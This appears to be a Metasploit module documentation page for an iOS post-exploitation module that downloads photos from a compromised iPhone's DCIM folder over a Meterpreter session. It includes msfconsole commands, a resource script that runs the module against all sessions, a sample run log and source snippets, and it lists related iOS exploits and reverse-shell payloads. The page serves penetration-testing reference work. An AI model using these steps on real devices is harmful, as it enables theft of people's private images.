iOS Image Gatherer - Metasploit
This page contains detailed information about how to use the post/apple_ios/gather/ios_image_gather metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: iOS Image Gatherer
Module: post/apple_ios/gather/ios_image_gather
Source code: modules/post/apple_ios/gather/ios_image_gather.rb
Disclosure date: -
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): -
Supported platform(s): Apple_iOS
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module collects images from iPhones. Module was tested on iOS 10.3.3 on an iPhone 5.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/apple_ios/gather/ios_image_gather
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/apple_ios/gather/ios_image_gather
msf post(ios_image_gather) > show options
... show and set options ...
msf post(ios_image_gather) > set SESSION session-id
msf post(ios_image_gather) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/apple_ios/gather/ios_image_gather")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module downloads the discovered images on iPhones
Verification Steps
- Start msfconsole
- Get a session
- Do:
use post/apple_ios/gather/ios_image_gather
- Do:
set SESSION <session>
- Do:
run
- You should get images from the iPhone target.
Scenarios
Tested on iOS 10.3.3 on an iPhone 5
msf5 > use post/apple_ios/gather/ios_image_gather
msf5 post(apple_ios/gather/ios_image_gather) > set session 1
session => 1
msf5 post(apple_ios/gather/ios_image_gather) > run
[!] SESSION may not be compatible with this module.
[+] Image path found. Will begin searching for images...
[*] Directory for iOS images: /Users/space/.msf4/loot/KlaBVw
[*] Downloading image: IMG_0001.JPG
[*] Downloading image: IMG_0002.JPG
[*] Downloading image: IMG_0003.JPG
[*] Downloading image: shell.php.jpg
[*] Post module execution completed
Go back to menu.
Msfconsole Usage
Here is how the apple_ios/gather/ios_image_gather post exploitation module looks in the msfconsole:
msf6 > use post/apple_ios/gather/ios_image_gather
msf6 post(apple_ios/gather/ios_image_gather) > show info
Name: iOS Image Gatherer
Module: post/apple_ios/gather/ios_image_gather
Platform: Apple_iOS
Arch:
Rank: Normal
Provided by:
Shelby Pace
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module collects images from iPhones. Module was tested on iOS
10.3.3 on an iPhone 5.
Module Options
This is a complete list of options available in the apple_ios/gather/ios_image_gather post exploitation module:
msf6 post(apple_ios/gather/ios_image_gather) > show options
Module options (post/apple_ios/gather/ios_image_gather):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the apple_ios/gather/ios_image_gather post exploitation module:
msf6 post(apple_ios/gather/ios_image_gather) > show advanced
Module advanced options (post/apple_ios/gather/ios_image_gather):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the apple_ios/gather/ios_image_gather module can do:
msf6 post(apple_ios/gather/ios_image_gather) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the apple_ios/gather/ios_image_gather post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(apple_ios/gather/ios_image_gather) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<IMG> could not be downloaded
Here is a relevant code snippet related to the "<IMG> could not be downloaded" error message:
46: ios_imgs.each do |img|
47: begin
48: print_status("Downloading image: #{img}")
49: client.fs.file.download_file("#{local_path}/#{img}", "#{f_path}/#{img}", opts)
50: rescue
51: print_error("#{img} could not be downloaded")
52: end
53: end
54: end
55:
56: def run
Could not find the default image file path
Here is a relevant code snippet related to the "Could not find the default image file path" error message:
54: end
55:
56: def run
57: img_path = '/private/var/mobile/Media/DCIM/100APPLE'
58: unless directory?(img_path)
59: fail_with(Failure::NotFound, "Could not find the default image file path")
60: end
61: print_good('Image path found. Will begin searching for images...')
62:
63: enum_img(img_path)
64: end
Go back to menu.
Related Pull Requests
Go back to menu.
See Also
Check also the following modules related to this module:
- auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
- exploit/apple_ios/browser/safari_jit
- exploit/apple_ios/browser/safari_libtiff
- exploit/apple_ios/browser/webkit_createthis
- exploit/apple_ios/browser/webkit_trident
- exploit/apple_ios/email/mobilemail_libtiff
- exploit/apple_ios/ssh/cydia_default_ssh
- payload/apple_ios/aarch64/meterpreter_reverse_http
- payload/apple_ios/aarch64/meterpreter_reverse_https
- payload/apple_ios/aarch64/meterpreter_reverse_tcp
- payload/apple_ios/aarch64/shell_reverse_tcp
- payload/apple_ios/armle/meterpreter_reverse_http
- payload/apple_ios/armle/meterpreter_reverse_https
- payload/apple_ios/armle/meterpreter_reverse_tcp
- post/apple_ios/gather/ios_text_gather
- post/multi/gather/apple_ios_backup
Authors
- Shelby Pace
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.